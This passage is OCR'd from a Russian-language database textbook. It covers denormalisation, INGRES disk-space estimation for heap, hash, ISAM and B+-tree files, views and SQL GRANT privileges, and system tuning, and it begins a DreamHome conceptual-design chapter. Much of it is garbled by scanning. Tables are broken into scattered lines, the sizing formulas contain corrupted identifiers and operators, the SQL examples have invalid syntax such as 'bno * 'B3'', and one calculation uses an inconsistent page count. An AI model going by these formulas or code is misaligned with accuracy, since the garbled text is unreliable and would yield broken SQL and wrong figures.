22 Deer Rd
Sidcup
London
SW1 4EH
0171-886-1212
0171-886-1214
B7
16 Argyll St
Dyce
Aberdeen
AB2 3SU
01224-67125
01224-67111
B3
163 Main St
Partick
Glasgow
G11 9QX
0141-339-2178
0141-339-4439
B4
32 Manse Rd
Leigh
Bristol
BS99 1NZ
0117-916-1170
0117-776-1114
B2
56 Clover Dr
London
NW10 6EU
0181-963-1030
0181-453-7992
Таблица 9.23. Расширенный вариант отношения Branch
Впо
Street
Area
City
Pcode
Tel_No
Carl
Car2
Card
Car4
Fax.No
В5
22 Deer Rd
Sidcup
London
SW1
4EH
0171
886-1212
M109 ABG
M670 BFT
N64
SAB
NULL
0171-8861214
В7
16 Argyll
St
Dyce
Aberdeen
AB2
3SU
01224
67125
M536 XRT
N90
BDC
NULL
NULL
01224
67111
ВЗ
163 Main St
Partick
Glasgo w
G11
9QX
0141
339-2178
0141-339
4439
В4
32 Manse Rd
Leigh
Bristol
BS99 1NZ
0117
916-1170
0117-7761114
В2
56 Clover Dr
London
NW10 6EU
0181
963-1030
...0181453-7992
В общем случае данный тип денормализации может применяться только в следующих ситуациях.
Максимальное количество экземпляров повторяющейся группы атрибутов точно известно (в нашем примере оно равно 4).
Количество повторяющихся групп есть величина постоянная и не изменяется со временем (число машин в отделении установлено для всей копании).
Количество экземпляров повторяющихся групп относительно невелико (например, не более 12), хотя это требование и не столь важно, как первых два.
В некоторых случаях наиболее интенсивный доступ может потребоваться только к последнему или текущему набору значений атрибутов повторяющейся группы, но может быть достаточно простого указания, что повторяющаяся группа атрибутов существует. В приведенном выше примере может оказаться достаточным просто сохранять сведения о том, что данное отделение компании имеет служебные автомобили. В этом случае в отношение Branch следует поместить только один дополнительный столбец для хранения сведений об общем количестве автомобилей в данном отделении компании.
Создание сводных таблиц. Может возникнуть ситуация, при которой составление отчетов придется выполнять в момент пиковой нагрузки на систему. В отчеты, как правило, помещаются сводные данные, для вычисления которых необходимо выполнять множество многотабличных соединений для некоторой группы таблиц базы данных. Однако данные, на основании которых создается отчет, сами по себе могут быть относительно статичными, а в некоторых случаях, даже не отражать текущего состояния (например, если данные устарели на один-два часа, то созданный на их основе отчет может быть приемлемым). В подобных ситуациях имеет смысл создать простую, полностью нормализованную сводную таблицу, заполняемую информацией, выбранной из используемых при составлении отчета таблиц, после чего предоставить пользователям доступ именно к ней, а не к основным таблицам базы данных. Обычно информация в сводных таблицах обновляется после выполнения пакетных заданий, запускаемых в периоды незначительной нагрузки на систему (например, ночью).
Этап 5.4.3. Документирование результатов введения избыточности
Любые действия по внесению в базу данных контролируемой избыточности должны быть тщательно документированы, причем обязательно с указанием причин ее введения. В частности в документации должны быть отражены причины, по которым был выбран один из нескольких доступных вариантов действий. Внесите в логическую модель данных изменения, отражающие результаты проведения денормализации.
Этап 5.5. Определение требований к дисковой памяти
Цель Определение объема дискового пространства, необходимого для размещения базы данных.
Заказчик может потребовать, чтобы физическая реализация базы данных была выполнена с использованием конфигурации оборудования, существующей на текущий момент. Даже если такое требование не выдвигалось, разработчик все равно обязан оценить объем дискового пространства, который понадобится для размещения создаваемой базы данных. Это позволит установить, потребуется ли приобретение нового оборудования. Целью выполнения данного этапа физического проектирования является получение оценки объема дискового пространства, необходимого для размещения файлов создаваемой базы данных во внешней памяти. Как и на предыдущих этапах, объем используемой дисковой памяти существенно зависит от конкретного типа целевой СУБД и оборудования, используемого для размещения базы данных. В общем случае оценка выполняется на основе сведений о размерах всех типов кортежей и ожидаемом количестве кортежей в каждом из отношений. Полученное значение оценки представляет собой максимальный уровень текущей потребности в дисковой памяти, однако может оказаться полезным проанализировать возможности роста размера таблиц, после чего откорректировать окончательную цифру с учетом фактора роста, что даст потенциальный размер базы данных в будущем.
Мы проиллюстрируем процесс определения объема дискового пространства на примере файлов с организацией, обсуждавшейся на этапе 5.2. В качестве целевой будет использована СУБД INGRES. Все формулы рассчитаны для вновь созданных и заполненных данными таблиц, до того как данные в них обновлялись или удалялись. В общем случае вычисление объема дисковой памяти, необходимого для размещения некоторой таблицы, предусматривает умножение количества записей в таблице на размер этой записи, после чего к результату добавляются объемы всех требуемых индексов. Длина записи определяется как сумма длин атрибутов плюс суммарная длина любых дополнительных элементов, помещаемых в запись системой. Длина атрибута в определенной степени задается его типом и размером. В СУБД INGRES длина записи вычисляется как общая длина всех атрибутов в байтах, плюс два дополнительных байта на каждый символьный атрибут с переменной длиной строки и еще по одному байту для полей, которые могут хранить значение NULL.
Последовательные файлы
В СУБД INGRES размер страницы составляет 2048 байт, из которых 40 байт занимает заголовок страницы, а оставшихся 2008 байт предназначены для размещения сохраняемых в базе данных. Общий объем памяти, необходимый для размещения последовательного файла, вычисляется по следующей формуле: rows^per^page = 2008/(row_width + 2)
Результат округляется до ближайшего меньшего целого totalJieapjaages = num^rows/rows^per^page
Результат округляется до ближайшего большего целого
Значение row^width здесь представляет длину записи таблицы. Например, определим размер файла последовательного типа для таблицы Property_for Rent, состоящей из 10 000 строк:
rows_per_page = 2008/(111 + 2) = 17
total_heap pages = 10000/17= 589
Следовательно, в СУБД INGRES для размещения таблицы Property_for_Rent, сохраняемой в формате последовательного файла, потребуется 589 страниц. Если размер дискового блока в системе составляет 512 байт, то для размещения таблицы Property_for_Rent потребуется 589*2048/512=2356 дисковых блоков.
Хешированные файлы
Для вычисления размера хешированного файла используются такие же формулы, как и для последовательного файла. Однако полученное число страниц дополнительно должно быть пересчитано с учетом фактора заполнения, который представляет собой процентное выражение той части страницы, которая может быть использована для размещения данных, прежде чем страница будет считаться заполненной. В СУБД INGRES принимаемый по умолчанию фактор заполнения равен 50%, если длина записи не превышает 1000 байт. В противном случае фактор заполнения принимается равным 100%. Используемые формулы имеют следующий вид: rows_per_page = (fillfactor*2008)/(row_width + 2)
Результат округляется до ближайшего меньшего целого total_hash_pages = num_rows/rows_per_page*(1/fillfactor)
Результат округляется до ближайшего большего целого
Например, определим размер таблицы Property_for_Rent с 10 000 записей, сохраняемой в формате хешированного файла. Фактор заполнения примем равным 50%: rows_per_page = 0.5*2008/(111 + 2) = 8 total__hash_pages = (10000/8) *2= 2500
Следовательно, при использовании формата хешированного файла для размещения таблицы Property_for_Rent в СУБД INGRES потребуется 2500 страниц, причем фактор заполнения принимается равным 50%. Если размер дискового блока в системе составляет 512 байт, то для размещения таблицы Property_for_Rent потребуется 2500*2048/512=10000 дисковых блоков.
Индексно-последовательные файлы (ISAM)
Как и в случае хешированных файлов, для ISAM-файлов также существует понятие фактора заполнения. Однако в случае этих файлов дополнительно следует учитывать дисковую память, необходимую для размещения ISAM-индекса. В СУБД INGRES для ISAM-файлов по умолчанию фактор заполнения принимается равным 80%. Формулы вычисления размера таблицы в этом случае имеют следующий вид: rows_per_page = (fUlfactor*2008)/(row_width + 2)
Результат округляется до ближайшего меньшего целого
free = 2008 - (rows_per_page * (row_width + 2))
if free > ((2048 - (fillfactor * 2048)) and row_width =< free rows_per_page = rows_per_page + 1
Максимальное значение = 512
total_data_pages = num_rows/rows_per_page
Результат округляется до ближайшего большего целого
Для вычисления размера индекса используется следующая формула: keys_per_page = 2008/(key_width 4- 2)
Результат округляется до ближайшего меньшего целого total_index_pages = total_data_pages/keys_per_page + 1
Результат округляется до ближайшего большего целого
Здесь значение key_width является длиной значения в столбце ключа. Общие затраты дисковой памяти для размещения ISAM-файла составляют:
total_isam__pages = total_data_pages + total_index_pages
Например, вычислим объем дисковой памяти, необходимый для размещения таблицы Property_for_Rent с 10 000 записей. Таблица сохраняется в ISAM-файле, проиндексированном по атрибуту Рпо, причем фактор заполнения страниц равен 80%:
rows_per_page= 0.8*2008/(111 + 2) = 15
total_data_pages = 10000/15= 667
keys_per_page =2008/(5+2)=286
total_index_pages =770/286+1=4
total_isam__pages = 667 + 4= 671
Таким образом, для сохранения таблицы Property_for_Rent в формате ISAM- файла, проиндексированного по атрибуту Рпо, в СУБД INGRES потребуется 671 страница, если фактор заполнения страниц равен 80%. Если размер дискового блока в системе составляет 512 байт, то для размещения таблицы Property_for_Rent потребуется 6 71*2048/512=2684 дисковых блока.
Файлы двоичных деревьев (В* -Tree)
Файлы с организацией В+-Тгее включают индексные страницы, страницы промежуточных ветвей, содержащих указатели на листовые страницы, которые, в свою очередь, содержат указатели на страницы собственно данных. Кроме того, для страниц данных, индексов и листьев могут использоваться различные факторы заполнения. В СУБД INGRES по умолчанию для страниц данных и индексов фактор заполнения принимается равным 80%, а для листовых страниц— 70%. Расчет объема дисковой памяти, необходимой для размещения некоторой таблицы, выполняется по следующим формулам:
rows_per_page = (data_f111*2010)/(rowjvidth + 2)
Результат округляется до ближайшего меньшего целого free = 2008 - (rows_per_page * (row_width +2)) if free > ((2048 - (data_fill*2048)) and row_width =< free rows_per_page = rows_per_page + 1 максимальное значение равно 512 max_keys = (1964 / (key_wldth + 6)) - 2
Результат округляется до ближайшего меньшего целого keys_per_leaf = max__keys * leaf_fill
Результат округляется до ближайшего меньшего целого, минимальное значение равно 2 keys_per_index = max^keys * index_fill
Результат округляется до ближайшего меньшего целого, минимальное значение равно 2 num_leaf_pages = (num_rows/keys_per_leaf) + 1
Результат округляется до ближайшего большего целого num_data_pages = num_leaf_pages*(keys_per_leaf/rows_per_page) +
MODULO(num_rows/keys_per_leaf)/rows_per_page
Оба частных округляются до ближайшего большего целого num_sprig_pages = 0if num_leaf_pages =< keys_per_index
num_sprig_pages = (num_leaf_pages/keys_per_index) otherwise
Результат округляется до ближайшего большего целого num_index_pages = О if (num_sprigjpages > keys_perj.ndex) then x = num_sprig_pages ~ do
x = x/keysj)er_index num_index_pages = num_index_pages + x while (x > keys_per_index)
Общий объем дискового пространства, необходимого для файла типа В^-Тгее, равен:
total_btree_pages = num_data_pages + num_leaf_pages + num__sprig_pages + num_index_pages + 2
Например, вычислим объем дискового пространства, необходимого для размещения таблицы Property_for_Rent с 10 000 записей, сохраняемой в файле двоичного дерева, проиндексированного по атрибуту Рпо, с использованием факторов заполнения, принимаемых по умолчанию:
rows_per jage
=
{0.8*2010)/(111 + 2) = 15
maxjceys
=
(1964/(5 + 6)) - 2= 176
keys_per_leaf
=
176 * 0.7= 123
keys_per_index
=
176 * 0.8= 140
num_leaf_pages
=
(10000/123) + 1=83
num_data_pages
=
83*(123/15) + 3=750
num_sprig_pages
=
0
num_index_pages
=
0
total_btree_pages
=
750 + 83 + 0 + 0 + 2 = 835
Таким образом, для размещения таблицы Property_for_Rent в файле формата двоичного дерева, проиндексированного по атрибуту Рпо, и с факторами заполнения, принимаемыми по умолчанию, в СУБД INGRES потребуется 835 страниц. Если размер дискового блока в системе составляет 512 байт, то для размещения таблицы Property_for__Rent потребуется 835*2048/512=3340 дисковых блоков.
В табл. 9.24 приведены сравнительные данные по объему дискового пространства (в блоках по 512 байт), необходимого для размещения таблицы Property_for_Rent в файлах различных форматов.
Таблица 9.24. Сравнительные данные по объему дискового пространства, необходимого для размещения таблицы Property^!or_Rent
10 000
20 000
30 000
40 000
50 000
Последовательный файл
2 356
4 708
7 060
9 412
11 768
Хешированный файл
10 000
20 000
30 000
40 000
50 000
Файл ISAM
2 684
5 360
8 032
10 712
13 388
Файл В+-Тгее
3 340
6 592
9 844
13 100
16 352
Этап 6. Разработка механизмов защиты
Цель Разработка механизмов защиты базы данных в соответствии с требованиями пользователей.
База данных представляет собой один из важнейших корпоративных ресурсов, поэтому защита этого ресурса является чрезвычайно важной задачей. В каждом случае должны существовать конкретные требования к защите, которые уже были отмечены нами в документации на этапе логического проектирования. Назначение данного этапа состоит в выборе способа реализации каждого из установленных требований. Любая конкретная СУБД предлагает собственный набор средств защиты, отличный от других СУБД. И в этом случае проектировщик базы данных должен иметь полное и ясное представление обо всех функциях защиты, предлагаемых целевой СУБД. Подробно речь о защите баз данных пойдет в главе 16, “Защита баз данных”. На данном этапе мы ограничимся обсуждением следующих аспектов этой проблемы.
Этап 6.1. Разработка пользовательских представлений (видов).
Этап 6.2. Определение прав доступа.
Этап 6.1. Разработка пользовательских представлений (видов)
Цепь Разработка пользовательских представлений (видов), которые были выделены на первом этапе концептуального проектирования базы данных.
Результатом выполнении первой фазы проектирования базы данных, описанной в главе 7, является разработка локальных концептуальных моделей данных для пред-
ставления каждого пользователя системы. При выполнении второй фазы проектирования базы данных эти локальные концептуальные модели преобразуются в локальные логические модели данных, которые затем последовательно сливаются в единую глобальную логическую модель данных системы. Целью данного этапа разработки является создание представлений пользователей (видов), которое будет выполнено на основании соответствующих локальных логических моделей. В автономных СУБД на личных компьютерах пользователей представления обычно создаются для удобства работы и упрощения вида различных запросов к базе данных. Однако в многопользовательской среде представления играют важную роль и используются * как средство определения структуры базы данных и организации защиты. Основные преимущества использования представлений (например, независимость от данных, снижение сложности и предоставление средств настройки) обсуждаются в главе 14, “Дополнительные средства языка SQL”.
Как правило, представления создаются с помощью операторов языка SQL. Например, создадим представление для получения подробных сведений о персонале отделения с кодом 'ВЗ'. Оно не будет включать сведения о зарплате, поскольку эти сведения должны быть доступны только руководителю отделения и только в отношении персонала, работающего в его отделении. Соответствующий SQL-оператор имеет такой вид:
CREATE VIEW staff3
AS SELECT sno, fname, Iname, address, tel no, position, sex FROM staff ~
WHERE bno * 'B3';
В результате будет создано представление с именем Staff3, имеющее те же самые атрибуты, что и таблица Staff, за исключением атрибутов DOB, Salary, NIN и Bno. Пример сведений, содержащихся в данном представлении, приведен в табл. 9.25.
Таблица 9.25. Содержимое представления Staf f 3
Sno
FName
LName
Address
Tel.no
Position
Sex
SG37
Ann
Beech
81 George St, Glasgow PA1 2JR
0141-848-3345
Snr Asst
F
SG14
David
Ford
63 Ashby St, Partick, Glasgow G11
0141-339-2177
Deputy
M
SG5
Susan
Brand
5 Gt Western Rd, Glasgow G12
0141-334-2001
Manager
F
Чтобы гарантировать, что просматривать значения атрибута Salary будет только руководитель отделения, доступ в базе данных к таблице Staff остальным членам персонала предоставляться не должен. Вместо этого им нужно предоставить право доступа к представлению Staff3. Подобная мера предотвратит возможность доступа рядового работника к закрытым данным. Определение прав доступа мы обсудим ниже, при рассмотрении этапа 6.2.
Этап 6.2. Определение прав доступа
Цель Определение прав доступа к таблицам базы данных для каждого из представлений пользователей.
Один из способов организации защиты состоит в использовании средств ограничения доступа, предоставляемых языком SQL. Подробно речь об этом пойдет ниже, в главе 14, “Дополнительные средства языка SQL”. Как правило, рядовым пользователям прямой доступ к таблицам базы данных никогда не предоставляется. Они работают с этими таблицами через представления (виды), созданные на этапе 6.1. Подобный подход обеспечивает высокую степень независимости от данных и изолирует пользователей от возможных изменений в структуре базы данных. Ниже мы кратко обсудим механизмы управления доступом, предоставляемые языком SQL2.
Каждому пользователю базы данных администратор этой базы присваивает идентификатор пользователя. Как правило, этот идентификатор защищается личным паролем — по вполне очевидным причинам. Любой SQL-оператор, который выполняется в среде СУБД, выполняется от имени определенного пользователя. Идентификатор пользователя используется для определения того, на какие объекты базы данных этот пользователь может ссылаться, а также какие именно операции он может выполнять с этими объектами. Любой объект, создаваемый средствами языка SQL, имеет своего владельца. Владелец указывается его идентификатором пользователя. Владелец объекта является единственной персоной, которая знает о существовании данного объекта и имеет право выполнять над ним любые операции.
Привилегиями (или правами доступа) называются действия, которые пользователю разрешено выполнять в отношении конкретной таблицы или представления. Например, привилегия SELECT разрешает пользователю выбирать информацию из соответствующей таблицы. Когда пользователь создает таблицу с помощью оператора CREATE TABLE, он автоматически назначается владельцем созданного объекта и получает полный набор прав доступа к нему. Все остальные пользователи не имеют никаких прав доступа к созданному им объекту. Для предоставления прочим пользователям возможности доступа к новой таблице, ее владелец должен явно предоставить им необходимые привилегии с помощью оператора GRANT. Если в операторе GRANT будет указана фраза WITH GRANT OPTION, то пользователю-получателю дополнительно будет предоставлено право передавать данный тип привилегии другим пользователям по его собственному усмотрению. Любая предоставленная ранее привилегия может быть отменена с помощью оператора REVOKE.
Когда пользователь создает представление с помощью оператора CREATE VIEW, он автоматически становится его владельцем, но это вовсе не означает, что он получает полный набор прав доступа к нему. Чтобы создать новое представление, пользователь должен иметь привилегию SELECT для всех таблиц, входящих в его состав. Однако любые другие типы привилегий для вновь созданного представления пользователь получит только в том случае, если он имеет их для всех таблиц, входящих в состав данного представления.
Например, чтобы предоставить пользователю MANAGER право выбора данных из таблицы Staff, а также привилегии вставки, обновления и удаления данных из этой таблицы, нужно использовать следующий SQL-оператор:
GRANT ALL PRIVILEGES
ON staff,
TO manager WITH GRANT OPTION;
В этом случае пользователь MANAGER дополнительно сможет ссылаться на эту таблицу и все атрибуты в любых таблицах, которые он создаст впоследствии. В приведенном выше операторе присутствует фраза WITH GRANT OPTION, поэтому пользователь MANAGER получает право передавать назначенные ему привилегии другим пользователям по своему собственному усмотрению. В следующем примере пользователю с идентификатором ADMIN дается привилегия SELECT для таблицы Staff:
GRANT SELECT
ON staff
TO admin;
В данном случае фраза WITH GRANT OPTION опущена, поэтому пользователь ADMIN не сможет передавать полученные им права другим пользователям.
Документирование созданных пользовательских представлений и мероприятий защиты
Разработанная схема представлений пользователей и связанный с ними механизм защиты должны быть тщательно описаны в документации. Если в ходе физического проектирования были внесены некоторые изменения в логическую модель данных, они также должны быть отражены в документации.
Этап 7. Организация мониторинга и настройка функционирования системы
Цель Мониторинг функционирования операционной системы и достигнутого уровня производительности базы данных с целью устранения ошибочных проектных решений или отражения изменения требований к системе.
Как уже упоминалось выше, первоначальный физический проект базы данных не следует понимать как нечто статическое. Он, скорее, является промежуточным звеном, предназначенным для оценки достигнутого уровня производительности системы. Как только исходный вариант физического проекта базы данных будет реализован, следует организовать мониторинг системы и использовать полученные данные об уровне производительности для ее настройки и внесения необходимых изменений. Большинство коммерческих СУБД предоставляет в распоряжение администратора базы данных набор утилит, предназначенных для наблюдения за функционированием системы и ее настройки.
Выполнение настройки базы данных позволяет добиться следующих преимуществ.
Устранить необходимость приобретения дополнительного оборудования.
Снизить требования к конфигурации оборудования, что позволит использовать более простые и менее дорогостоящие виды оборудования, а также снизить стоимость обслуживания всей системы.
Тщательно настроенные системы обеспечивают лучшее время ответа и повышенный уровень общей производительности. Все это делает более продуктивной работу пользователей, а значит, и всей организации в целом.
Уменьшение времени ответа системы повышает психологический комфорт пользователей.
Уменьшение времени ответа системы повышает удовлетворение клиентов от общения с персоналом.
Два последних пункта приведенного выше перечня менее осязаемы, однако можно с уверенностью утверждать, что завышенное время ответа системы вызывает раздражение у персонала и вполне может заставить некоторых клиентов отказаться от услуг организации.
На практике настройку базы данных никогда нельзя считать завершенной. На протяжении всего жизненного цикла системы необходимо постоянно вести наблюдения за уровнем ее производительности, что позволит своевременно реагировать на изменения, происходящие в окружающей среде и в требованиях пользователей. Однако внесение в функционирующую систему изменений, предназначенных для повышения производительности, в одной ее части, может вызвать противоположный эффект в другой части. Например, создание нового индекса для некоторой таблицы способно повысить производительность одного из приложений, но в то же время это может отрицательно отразиться на работе другого приложения, возможно, более важного. Таким образом, внесение любых изменений в функционирующую базу данных должно проводиться обдуманно и осторожно. Обязательно протестируйте все планируемые изменения в контрольной базе данных. Если это невозможно, то старайтесь вносить планируемые изменения в часы минимальной загрузки системы (например, в нерабочее время).
Резюме
Физическое проектирование базы данных представляет собой процесс подготовки описания реализации этой базы во вторичной памяти. Создается описание таблиц базы данных и выбранных для них структур хранения, а также методов доступа, которые будут использоваться для эффективного доступа к
данным. Высококачественный проект реализации таблиц базы данных может быть создан только разработчиками, хорошо знающими все функциональные возможности выбранной целевой СУБД.
Первый этап (этап 4) физического проектирования базы данных состоит в преобразовании глобальной логической модели данных в форму, которая может быть реализована в среде целевой реляционной СУБД.
Следующий этап (этап 5) предусматривает выбор структуры файлов и методов доступа, которые будут применены при реализации каждой из таблиц базы данных. Выполнение этого этапа предусматривает проведение анализа транзакций, которые будут выполняться в базе данных. Результаты анализа используются для выбора оптимальной файловой организации таблиц. С целью оптимизации производительности системы могут быть приняты решения о создании вторичных индексов или внесении в данные контролируемой избыточности. Завершается данный этап проведением оценки объема дискового пространства, необходимого для размещения создаваемой базы данных.
Последовательные файлы являются оптимальным вариантом формата файла для таблиц, в которые планируется внести большое количество записей. Их использование малоэффективно, если требуется выборочный доступ только к отдельным записям файла. Хешированные файлы эффективны в тех случаях, если данные выбираются по точному соответствию заданному значению ключа. Этот формат файлов не подходит для выборки данных по шаблону с символами подстановки, по диапазону значений ключа, по неполному значению ключа или по значению атрибута, отличного от ключа перемешивания.
Индексно-последовательные (ISAM) файлы представляют собой более гибкую структуру, чем хешированные файлы. Они эффективны при выборке данных по заданному значению ключа, по шаблону с символами подстановки, по диапазону ключей или по части ключа. Однако индекс ISAM-файлов статичен и создается непосредственно при создании самого файла. В результате производительность выборки данных из ISAM-файла уменьшается по мере внесения изменений в его данные. Обновление данных файла также вызывает нарушение правильной последовательности ключей, поэтому выборка данных в порядке главного ключа все более замедляется. Последние две проблемы разрешаются при использовании файлов со структурой двоичного дерева, имеющих динамически формируемый индекс. Однако, в отличие от файлов со структурой В "-Tree, ISAM-файлы благодаря статичности своего индекса могут успешно использоваться для организации конкурентного доступа. Если уровень обновления данных в таблице относительно низок, а ее размеры не слишком велики или слишком малы, индексно-последовательная организация будет для нее оптимальным решением, поскольку она имеет на один уровень индекса ниже, чем файлы со структурой двоичных деревьев.
Вторичные индексы представляют собой механизм определения дополнительных ключей для таблиц базы данных, которые могут использоваться для повышения эффективности выборки данных. Однако наличие вторичного индекса создает дополнительную нагрузку при внесении изменений в данные, что должно учитываться при принятии решения о создании этих индексов.
В некоторых случаях может потребоваться отказаться от преимуществ, достигаемых при использовании полностью нормализованных отношений, в пользу обеспечения более высокого уровня производительности системы. Подобные решения следует принимать только тогда, когда удовлетворить требования к производительности системы любыми иными способами невозможно. Практика показывает, что денормализация части отношений может оказаться подходящим методом, если уровень производительности системы неудовлетворителен, данные в таблицах базы данных обновляются относительно редко, а количество выполняемых запросов весьма велико.
■ База данных представляет собой ценный корпоративный ресурс, поэтому организация ее защиты является одной из важнейших задач разработчиков. Назначение следующего этапа физического проектирования (этап 6) состоит в реализации тех требований к защите данных, которые были установлены еще на этапе логического проектирования базы данных. Используемые решения могут включать создание пользовательских представлений (видов) и организацию механизма контроля над доступом пользователей к данным, реализуемого с помощью средств языка SQL.
Я Последний этап (этап 7) физического проектирования базы данных состоит в проведении непрерывного контроля за функционированием созданной системы и выполнением настройки, способствующей достижению ее максимальной производительности..
Вопросы
Объясните различия между концептуальным, логическим и физическим проектированием баз данных. Почему эти задания могут выполняться разными людьми?
Опишите состав входящей информации и результаты выполнения процедуры физического проектирования базы данных.
Опишите назначение основных этапов физического проектирования базы данных, определяемых обсуждаемой в этой главе методологией.
Одной из важнейших целей физического проектирования базы данных является организация эффективного хранения данных. Как можно измерить достигнутый уровень эффективности в указанном контексте?
При каких обстоятельствах может оказаться целесообразным выполнить денормализацию исходной логической модели данных? Для иллюстрации вашего ответа используйте конкретные примеры.
ГЛАВА
10
Пример разработки - концептуального проекта базы данных
/В этой главе...
Использование методологии концептуального проектирова- ^( ния баз данных, описанной в главе 7.
Практическое применение этой методологии при разработке ^ концептуального проекта приложения DreamHome / (раздел 1.7),
■
В этой главе мы на примере проиллюстрируем применение методологии концептуального проектирования баз данных, обсуждавшейся в главе 7, “Методология концептуального проектирования баз данных”. Данная методология будет использована при разработке концептуального проекта приложения DreamHome, описанного в разделе 1.7. Применение методологии будет показано на примере конкретного представления пользователя, которому было присвоено имя Supervisor (Инспектор).
(В этой главе мы будем использовать термины “сущность” и “связь” вместо развернутых терминов “тип сущности” и “тип связи”. Термин “тип” будет применяться только с целью исключения возможной неоднозначности.)
Спецификация требований представления пользователя Supervisor
Выполнение фазы сбора и анализа требований пользователя, являющейся первой в цикле разработки приложений баз данных, осуществлялось в офисе отделения компании DreamHome. Был проведен опрос сотрудников, работающих на должностях инспекторов, а также проанализирована вся документация, используемая или создаваемая ими при выполнении своих служебных обязанностей. Результатом выполнения этой фазы разработки проекта явилась подготовка спецификаций требований для представления Supervisor, характерных для данной компании. В этих спецификациях зафиксированы требования к информации, которая будет помещена в создаваемую базу данных, а также определены все транзакции, необходимые инспекторам компании для выполнения их служебных обязанностей.
Отметим, что, когда мы говорим “представление пользователя Supervisor”, имеем в виду представление о бизнес-процессах компании, которые в общем случае имеют и реализуют все работники, занимающие в этой компании должность инспектора.
Требования к данным
В каждом отделении компании DreamHome есть персонал, отвечающий за сдаваемую в аренду собственность. Весь персонал разделен на отдельные группы, управление которыми поручено инспекторам (Supervisor), имеющим собственного секретаря (Secretary).
Информация, описывающая каждое отделение компании, включает уникальный номер отделения, его адрес (улица, район, город, почтовый код), номер телефона и номер факса.
Информация, описывающая каждого работника компании, включает личный (табельный) номер, полное имя (имя и фамилию), адрес проживания, номер телефона, пол, дату рождения, занимаемую должность, а также номер и адрес отделения компании, в котором он работает. О тех, кто работает на должности секретаря, необходимо иметь дополнительную информацию, например такую, как скорость, с которой работник может печатать на машинке. Личный номер каждого работника является уникальным в пределах всех отделений компании DreamHome.
Каждый инспектор руководит отдельной группой работников (от 5 до 10 человек).
Данные о всей предоставляемой в аренду собственности можно получить в любом отделении компании DreamHome. За каждый сдаваемый в аренду объект отвечает определенный работник. Каждый работник может отвечать максимум за 10 объектов. Информация, описывающая каждый сдаваемый в аренду объект, включает номер объекта, адрес его местонахождения (улица, район, город, почтовый код), тип объекта, количество комнат в нем, размер ежемесячной арендной платы, а также имя и адрес владельца этого объекта.
Размер ежемесячной арендой платы ежегодно пересматривается. Большую часть предоставляемой в аренду собственности, с которой имеет дело компания DreamHome, составляют отдельные квартиры. Каждый объект имеет единственного владельца.
О владельцах сдаваемой в аренду собственности необходимо хранить дополнительные сведения. Существует два основных типа владельцев — частные и юридические лица. О частных лицах сохраняется следующая информация: номер владельца, полное имя (имя и фамилия), адрес и номер телефона. О юридических лицах хранятся такие сведения: номер владельца, наименование компании, тип компании, адрес, контактный телефон и имя представителя. Каждому владельцу принадлежит, по крайней мере, один сдаваемый в аренду объект.
В обязанности персонала, отвечающего за отдельные сдаваемые в аренду объекты, входит следующее.
Обеспечивать постоянную арендованность каждого сдаваемого в аренду объекта.
Необходимые для выполнения этой обязанности действия могут включать размещение объявлений с описанием сдаваемого объекта в соответствующих газетных изданиях. О каждом опубликованном объявлении следует хранить такие сведения, как номер объявления, дата публикации в газете, название газеты, стоимость объявления, данные об объекте, включая его номер, тип и адрес. Номер объявления должен быть уникальным в пределах всех отделений компании DreamHome. По каждому используемому газетному изданию необходимо сохранять такую информацию: название газеты, адрес, номер телефона и факса редакции, имя представителя. Объявления об объекте должны публиковаться в газетах только в том случае, если сдача его в аренду задерживается.
Б. Проводить собеседование с клиентами, заинтересованными в аренде объектов.
При проведении собеседования должно быть собрано как можно больше информации о клиенте. Обязательно должны быть зафиксированы дата проведения беседы и любые общие замечания о данном клиенте. Однако некоторые клиенты не изъявляют желания специально приходить на собеседование и просто сообщают необходимые сведения по телефону или при своем первом визите в одно из отделений компании DreamHome. О каждом клиенте запоминается следующая информация: номер клиента, его полное имя (имя и фамилия), текущий адрес проживания, номер телефона и определенные сведения о желательных характеристиках арендуемого объекта, включая предпочтительный тип помещения и максимальный размер арендной платы, приемлемый для клиента. Номер клиента является уникальным в пределах всех отделений компании DreamHome.
Знакомить клиентов со сдаваемыми в аренду объектами.
О каждом посещении клиентами объектов сохраняется следующая информация: номер клиента, его имя и номер телефона, дата ознакомления с объектом, а также любые замечания, сделанные клиентом в отношении того, устраивает его данный объект или нет. В один и тот же день клиент может посещать каждый из объектов только один раз.
Г. Оформлять соглашения об аренде клиентом некоторого объекта.
Если клиент согласен арендовать некоторый объект, работник компании должен оформить соглашение об аренде. Информация о соглашении об аренде включает номер соглашения, номер и полное имя клиента, номер объекта, его адрес, тип и сведения о количестве
комнат, размер ежемесячной арендной платы, способ платежа, размер задатка (равный удвоенной месячной арендной плате), отметку о внесении задатка, дату начала и окончания арендного периода, а также срок действия лицензии. Номер лицензии является уникальным в пределах всех отделений компании DreamHome. Соглашение об аренде с отдельным клиентом может заключаться на срок от трех месяцев до одного года.
Д. Проводить регулярное инспектирование состояния объекта с целью получения подтверждений, что арендуемый объект содержится в хорошем состоянии.
Инспектирование каждого объекта должно проводиться не реже, чем раз в шесть месяцев. Однако персонал компании DreamHome проводит инспекции только тех объектов, которые в настоящее время арендованы клиентами или предложены владельцами для сдачи в аренду. Сведения о проведенной инспекции включают номер объекта и его адрес, дату проведения инспекции, имя работника компании, проводившего инспекцию, а также его комментарии о текущем состоянии объекта.
Требования к транзакциям
К основным транзакциям, которые должны выполняться пользователем Supervisor, относятся следующие:
составление списка работников, входящих в состав руководимой им группы;
составление списка работников, обслуживаемых пользователем Secretary;
составление списка инспекторов каждого из отделений компании;
создание и корректировка записей, содержащих детальные сведения о предложенных для сдачи в аренду объектах и их владельцах, в разрезе каждого из отделений компании;
создание отчета, содержащего подробные сведения о сдаваемых в аренду объектах (включая размер задатка) в разрезе каждого из отделений компании;
составление списка объектов, за которые отвечает конкретный сотрудник;
создание и корректировка записей, содержащих подробные сведения о клиентах в разрезе каждого из отделений компании;
составление списка клиентов, зарегистрированных в каждом из отделений компании;
поиск объектов, удовлетворяющих различным требованиям;
создание и корректировка записей, содержащих сведения о результатах ознакомления клиентов с объектами;
составление отчета, содержащего комментарии клиентов, относящиеся к конкретному объекту;
создание и корректировка записей, содержащих сведения о помещенных в газеты объявлениях с информацией о предлагаемых для сдачи в аренду объектах;
создание списка всех помещенных в газеты объявлений для конкретного объекта;
создание списка всех объявлений, размещенных в конкретной газете;
создание и корректировка записей, содержащих детальные сведения о соглашениях об аренде объектов, заключенных с пользователями;
отображение подробных сведений о соглашении об аренде конкретного объекта;
создание и корректировка записей, содержащих подробные сведения о проведенных инспекциях состояния объектов;
г) составление списка всех проведенных инспекций состояния заданного объекта.
